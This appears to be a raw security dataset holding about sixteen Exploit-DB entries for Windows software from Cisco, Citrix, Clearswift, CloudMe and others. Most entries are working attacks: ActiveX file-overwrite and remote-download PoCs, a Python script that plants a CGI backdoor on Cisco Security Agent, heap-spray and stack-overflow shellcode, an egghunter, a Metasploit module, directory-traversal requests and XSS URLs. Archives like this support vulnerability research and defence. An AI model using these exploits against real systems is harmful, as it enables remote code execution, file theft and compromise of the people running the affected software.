deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7794
Description: Ciansoft PDFBuilderX 2.2 - ActiveX Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2009-01-15
Author: Alfons Luja

Exploit:
<b>   
    Ciansoft PDFBuilderX 2.2 Arbitrary File Overwrite    <br/>
                         p0c                            <br/>
                     Alfons Luja                        <br/>
            Pozdrowienia dla odFiecznych fanÃ“f          <br/>                                   
                      Tesw Eporue                       <br/>
                        -9002-                          <br/>
                         l00l                           <br/>  
<b/>
<object classid='clsid:00E7C7F8-71E2-498A-AB28-A3D72FC74485' id='kupa'></object>
<script>
/*
 Class PDFDoc
 GUID: {00E7C7F8-71E2-498A-AB28-A3D72FC74485}
 RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller,data  
 IPStorage Safe:  Safe for untrusted: caller,data  
 KillBitSet: False
 vend0r : www.ciansoft.com
*/ 
try{
    var obj = document.getElementById('kupa');
    obj.AddPage(1);
    obj.SaveToFile("C:/system_.ini");
    window.alert('Aplauz !!! g0rion pownsYa l0l - n0wH Check ya C:');
} catch(err){  window.alert('Poc failed'); }
</script>

# milw0rm.com [2009-01-15]
Exploit-DB #25163
Description: CIS WebServer 3.5.13 - Directory Traversal
Type: remote
Platform: windows
Date: 2005-02-25
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/12662/info

A vulnerability has been identified in the handling of certain types of requests by CIS WebServer. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

The problem is in the handling of directory traversal strings. This issue could be exploited to gain read access to files on a host using the vulnerable software. 

http://www.example.com/../../../windows/repair/sam
Exploit-DB #21555
Description: Cisco Secure ACS for Windows NT 3.0 - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-06-14
Author: Dave Palumbo

Exploit:
source: https://www.securityfocus.com/bid/5026/info

Cisco Secure ACS is an access control and accounting server system. It is distributed and maintained by Cisco, and in this vulnerability affects implementations on the Microsoft Windows NT platform.

It has been discovered that the web server component of the Cisco Secure ACS package allows an attacker to execute cross-site scripting attacks. When this link is visited, the attacker-supplied HTML or script code could be executed in the browser of a user, provided the user has authenticated to the Secure ACS server. 

http://example.com:dyn_port/setup.exe?action=<script>alert('foo+bar')</script>&page=list_users&user=P*
Exploit-DB #17155
Description: Cisco Security Agent Management Console - 'st_upload' Remote Code Execution
Type: remote
Platform: windows
Date: 2011-04-12
Author: Gerry Eisenhaur

Exploit:
#!/usr/bin/env python
# Exploits Cisco Security Agent Management Console ‘st_upload’ (CVE-2011-0364)
# gerry eisenhaur <gerry.eisenhaur _at_ gmail.com>

import httplib
import mimetools
import StringIO

_boundary = mimetools.choose_boundary()
_host_uid = 'C087EFAE-05A2-4A0B-9512-E05E5ED84AEB'
_csamc = "192.168.0.108"

# we need to enable some scripting to get command access
htaccess = "Options +Includes +ExecCGI\r\nAddHandler cgi-script gee"
perl_path = "#!c:/program files/cisco/csamc/csamc60/perl/5.8.7/bin/mswin32-x86/perl\r\n",
backdoor = "exec \"calc.exe\";"

def send_request(params=None):
    buf = StringIO.StringIO()
    headers = {"Content-type": 'multipart/form-data; boundary=%s' % _boundary}

    for(key, value) in params.iteritems():
        buf.write('--%s\r\n' % _boundary)
        buf.write('Content-Disposition: form-data; name="%s"' % key)
        buf.write('\r\n\r\n%s\r\n' % value)
    buf.write('--' + _boundary + '--\r\n\r\n')
    body = buf.getvalue()

    conn = httplib.HTTPSConnection(_csamc)
    conn.request("POST", "/csamc60/agent", body, headers)
    response = conn.getresponse()
    print response.status, response.reason
    conn.close()

def main():
    ### Build up required dir tree
    dirtree = ["../bin/webserver/htdocs/diag/bin",
               "../bin/webserver/htdocs/diag/bin/webserver",
               "../bin/webserver/htdocs/diag/bin/webserver/htdocs"]
    _params = {
        'host_uid': _host_uid,
        'jobname': None,
        'host': "aa",
        'diags': " ",
        'diagsu': " ",
        'profiler': " ",
        'extension': "gee",
    }
    for path in dirtree:
        print "[+] Creating directory: %s" % path
        _params['jobname'] = path
        send_request(_params)

    ### Done building path, drop files
    print "[+] Dropping .htaccess"
    send_request({
        'host_uid': _host_uid,
        'jobname': '',
        'host': "/../bin/webserver/",
        'diags': "",
        'diagsu': "",
        'profiler': htaccess,
        'extension': "/../.htaccess",
    })

    print "[+] Dropping payload"
    send_request({
        'host_uid': _host_uid,
        'jobname': '',
        'host': "/../bin/webserver/htdocs/gerry",
        'diags': perl_path,
        'diagsu': "",
        'profiler': backdoor,
        'extension': "/../exploit.gee",
    })

    print "[+] Done, Executing dropped file."
    try:
        conn = httplib.HTTPSConnection(_csamc, timeout=1)
        conn.request("GET", "/csamc60/exploit.gee")
        response = conn.getresponse()
        print response.status, response.reason
        print response.read()
    except httplib.ssl.SSLError:
        pass
    print "[+] Finished."

if __name__ == '__main__':
    main()
Exploit-DB #31395
Description: Cisco User-Changeable Password (UCP) 3.3.4.12.5 - 'CSUserCGI.exe' Help Facility Cross-Site Scripting
Type: remote
Platform: windows
Date: 2008-03-12
Author: felix

Exploit:
source: https://www.securityfocus.com/bid/28222/info
 
Cisco User-Changeable Password (UCP) is prone to multiple remote vulnerabilities, including cross-site scripting and buffer-overflow vulnerabilities.
 
Exploiting the cross-site scripting issues may help the attacker steal cookie-based authentication credentials and launch other attacks. Exploiting the buffer-overflow vulnerabilities allows attackers to execute code in the context of the affected application, facilitating the remote compromise of affected computers.
 
The buffer-overflow issues are tracked by Cisco Bug ID CSCsl49180. The cross-site scripting issues are tracked by Cisco Bug ID CSCsl49205.
 
These issues affect versions prior to UCP 4.2 when running on Microsoft Windows. 

http://www.example.com/securecgi-bin/CSUserCGI.exe?Help+00.lala.c.hacker%22%22%22%3E%3Ch1%3EHello_Cisco%3C/h1%3E
Exploit-DB #6220
Description: Cisco WebEx Meeting Manager UCF - 'atucfobj.dll' ActiveX Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-08-10
Author: Guido Landi

Exploit:
<html>
<body>

<object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object>

<script language=javascript>

	// k`sOSe 08/08/2008
	// tested in IE6, XP SP1
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100");

	var block = unescape("%u0909%u0909");
	while (block.length < 0x25000) block += block;

	var memory = new Array();

	var i=0;
	for (;i<1000;i++) memory[i] += block + shellcode;

	memory[i] += shellcode;

	var buf2;
	for (var i=0; i<151; i++) buf2 += "X";

	buf2 += unescape("%09%09%09%09");



	target.NewObject(buf2);

</script>

</body>
</html>

# milw0rm.com [2008-08-10]
Exploit-DB #17619
Description: CiscoKits 1.0 - TFTP Server Directory Traversal
Type: remote
Platform: windows
Date: 2011-08-05
Author: SecPod Research

Exploit:
#!/usr/bin/python
##############################################################################
# Title     : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory  : http://secpod.org/blog/?p=301
#             http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
#             http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version   : CiscoKits CCNA TFTP Server 1.0.0.0
# Date      : 21/07/2011
##############################################################################
import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]                               ## The Server IP
    PORT = 69                                        ## Default TFTP port

    data = "\x00\x01"                                ## TFTP Read Request
    data += "../" * 10 + "windows/win.ini" + "\x00"  ## Read win.ini file using directory traversal
    data += "netascii\x00"                           ## TFTP Type

    # netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()
Exploit-DB #4949
Description: Citadel SMTP 7.10 - Remote Overflow
Type: remote
Platform: windows
Date: 2008-01-21
Author: prdelka

Exploit:
Citadel SMTP <= 7.10 Remote Overflow Exploit

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/4949.tar.gz (2008-vs-GNU-citadel.tar.gz)

# milw0rm.com [2008-01-21]
Exploit-DB #23316
Description: Citrix Metaframe XP - Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-10-31
Author: Andy Davis

Exploit:
source: https://www.securityfocus.com/bid/8939/info

Citrix Metaframe XP is prone to cross-site scripting attacks when returning error messages to users. The error message is generated when invalid authentication credentials are transmitted to the log-in page. Exploitation of this issue could potentially result in the theft of cookie-based authentication credentials, or other attacks.

https://www.example.com/citrix/metaframexp/default/login.asp?NFuse_LogoutId=On&NFuse_
MessageType=Error&NFuse_Message=<SCRIPT>alert("Vulnerable to XSS")</SCRIPT>
Exploit-DB #21913
Description: Citrix Published Applications - Information Disclosure
Type: remote
Platform: windows
Date: 2002-10-07
Author: wire

Exploit:
source: https://www.securityfocus.com/bid/5908/info

A vulnerability has been discovered in Citrix.

It is possible for an attacker to obtain information regarding Published Applications, by sending specially crafted requests to the Citrix server, and examining responses.

By bruteforcing a Citrix Published Applications list, it may be possible for an attacker to launch further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21913.tar.gz
Exploit-DB #22338
Description: Clearswift MAILsweeper 4.x - MIME Attachment Filter Bypass
Type: remote
Platform: windows
Date: 2003-03-07
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/7044/info

Clearswift MailSweeper does not properly process certain malformed MIME email message attachments. If the attachment does not contain a MIME-Version field, MailSweeper does not recognize the attachment as being an executable type. MailSweeper allows such attachments through, even if it is set to filter executable type file attachments from incoming email messages.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22338.zip
Exploit-DB #24363
Description: clearswift MIMEsweeper for Web 4.0/5.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2004-07-11
Author: Kroma Pierre

Exploit:
source: https://www.securityfocus.com/bid/10918/info

Clearswift MIMEsweeper For Web is reported prone to a directory traversal vulnerability due to insufficient sanitization of user-supplied data.

To carry out an attack an attacker may specify a relative path to a target file in a GET request to the vulnerable server, directory traversal character sequences may be supplied as a part of the request to escape the web root.

telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /ca/..\\..\\..\\..\\..\\..\\boot.ini HTTP/1.0

GET /foobar/..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\\boot.ini HTTP/1.0
GET /foobar/..\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar/\..\..\..\..\..\boot.ini HTTP/1.0
GET /foobar//..\\..\\..\\..\\boot.ini HTTP/1.0
GET /foobar//..\\..//..\\..//boot.ini HTTP/1.0
GET /foobar/\../\../\../\../\boot.ini HTTP/1.0
GET /foobar/../../../../boot.ini HTTP/1.0
GET /foobar\..\..\..\..\boot.ini HTTP/1.0
Exploit-DB #4226
Description: Clever Internet ActiveX Suite 6.2 - Arbitrary File Download/Overwrite
Type: remote
Platform: windows
Date: 2007-07-25
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------
 <b>Clever Internet ActiveX Suite 6.2 (CLINETSUITEX6.OCX) Arbitrary file download/overwrite Exploit</b>
 url: http://www.clevercomponents.com/home/news.asp

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: True
 IDisp Safe:  Safe for untrusted: caller, data
 IPStorage Safe:  Safe for untrusted: caller,data</b>

 Using the "GetToFile" method, you can download everything you want on a pc. This
 exploit just download a txt file on pc, I try to overwrite cmd.exe and it works.
-------------------------------------------------------------------------------------------------

<object classid='clsid:E8F92847-7C21-452B-91A5-49D93AA18F30' id='test' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe()
 
 test.GetToFile "http://www.shinnai.altervista.org/shinnai.txt" ,"c:\windows\system32\shinnai.txt"
 MsgBox("Exploit completed!")

End Sub
</script>

</span>
</code></pre>

# milw0rm.com [2007-07-25]
Exploit-DB #48389
Description: CloudMe 1.11.2 - Buffer Overflow (PoC)
Type: remote
Platform: windows
Date: 2020-04-28
Author: Andy Bowden

Exploit:
# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86

#Instructions:
# Start the CloudMe service and run the script.

import socket

target = "127.0.0.1"

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload    = b"\xba\xad\x1e\x7c\x02\xdb\xcf\xd9\x74\x24\xf4\x5e\x33"
payload   += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xa2\xfc"
payload   += b"\x89\xfe\x54\x82\x72\xff\xa4\xe3\xfb\x1a\x95\x23\x9f"
payload   += b"\x6f\x85\x93\xeb\x22\x29\x5f\xb9\xd6\xba\x2d\x16\xd8"
payload   += b"\x0b\x9b\x40\xd7\x8c\xb0\xb1\x76\x0e\xcb\xe5\x58\x2f"
payload   += b"\x04\xf8\x99\x68\x79\xf1\xc8\x21\xf5\xa4\xfc\x46\x43"
payload   += b"\x75\x76\x14\x45\xfd\x6b\xec\x64\x2c\x3a\x67\x3f\xee"
payload   += b"\xbc\xa4\x4b\xa7\xa6\xa9\x76\x71\x5c\x19\x0c\x80\xb4"
payload   += b"\x50\xed\x2f\xf9\x5d\x1c\x31\x3d\x59\xff\x44\x37\x9a"
payload   += b"\x82\x5e\x8c\xe1\x58\xea\x17\x41\x2a\x4c\xfc\x70\xff"
payload   += b"\x0b\x77\x7e\xb4\x58\xdf\x62\x4b\x8c\x6b\x9e\xc0\x33"
payload   += b"\xbc\x17\x92\x17\x18\x7c\x40\x39\x39\xd8\x27\x46\x59"
payload   += b"\x83\x98\xe2\x11\x29\xcc\x9e\x7b\x27\x13\x2c\x06\x05"
payload   += b"\x13\x2e\x09\x39\x7c\x1f\x82\xd6\xfb\xa0\x41\x93\xf4"
payload   += b"\xea\xc8\xb5\x9c\xb2\x98\x84\xc0\x44\x77\xca\xfc\xc6"
payload   += b"\x72\xb2\xfa\xd7\xf6\xb7\x47\x50\xea\xc5\xd8\x35\x0c"
payload   += b"\x7a\xd8\x1f\x6f\x1d\x4a\xc3\x5e\xb8\xea\x66\x9f"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))	

buf = padding1 + EIP + NOPS + payload + overrun 

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(buf)
except Exception as e:
	print(sys.exc_value)
Exploit-DB #44175
Description: CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2018-02-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CloudMe Sync v1.10.9',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow vulnerability
        in CloudMe Sync v1.10.9 client application. This module has been
        tested successfully on Windows 7 SP1 x86.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hyp3rlinx',      # Original exploit author
          'Daniel Teixeira' # MSF module author
        ],
      'References'     =>
        [
          [ 'CVE', '2018-6892'],
          [ 'EDB', '44027' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'   => "\x00",
        },
      'Targets'        =>
        [
          [ 'CloudMe Sync v1.10.9',
            {
              'Offset' => 2232,
              'Ret'    => 0x61e7b7f6
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 17 2018',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(8888)])

  end

  def exploit
    connect

    buffer = make_nops(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded

    sock.put(buffer)
    handler
  end
end
Exploit-DB #46218
Description: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
Type: remote
Platform: windows
Date: 2019-01-22
Author: T3jv1l

Exploit:
#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
# Hello subinacls and NytroRST !

#############################################################

import socket

egg = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74" #boom
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa" 
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

target="127.0.0.1"
junk="A"*1015			
jmp="\xd9\x37\x99\x69"  #0x699937d9 push ret
jump_back="\xeb\xc4"    #jump -60 bytes


#Shellcode calc.exe
buf = ""
buf +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
buf +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
buf +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
buf +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
buf +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
buf +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
buf +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
buf +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
buf +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
buf +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
buf +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
buf +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
buf +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
buf +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
buf +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
buf +="\xc4\xd9"

payload1=junk+egg+"B"*5 + jmp + jump_back
payload2="boomboom" + buf

try:
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((target,8888))
	s.send(payload1+payload2)
except:
	print "Don't Crash Me !"